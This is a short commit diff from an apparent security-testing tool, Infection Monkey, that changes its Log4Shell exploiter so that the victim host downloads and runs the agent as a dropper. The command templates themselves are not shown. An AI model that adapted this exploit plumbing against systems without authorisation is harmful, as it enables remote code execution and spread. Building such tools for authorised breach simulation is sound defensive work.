Agent: Use dropper for Log4Shell

This commit is contained in:
Ilija Lazoroski 2022-01-13 16:55:45 +01:00
parent 29ea2a961c
commit c2db37df1e
1 changed files with 3 additions and 3 deletions

View File

@ -15,9 +15,9 @@ from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import (
DROPPER_ARG,
LOG4SHELL_LINUX_COMMAND,
LOG4SHELL_WINDOWS_COMMAND,
MONKEY_ARG,
VictimHost,
)
from infection_monkey.network.info import get_free_tcp_port
@ -131,7 +131,7 @@ class Log4ShellExploiter(WebRCE):
def _build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=None
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
)
if "linux" in self.host.os["type"]:
base_command = LOG4SHELL_LINUX_COMMAND
@ -141,7 +141,7 @@ class Log4ShellExploiter(WebRCE):
return base_command % {
"monkey_path": path,
"http_path": http_path,
"monkey_type": MONKEY_ARG,
"monkey_type": DROPPER_ARG,
"parameters": monkey_cmd,
}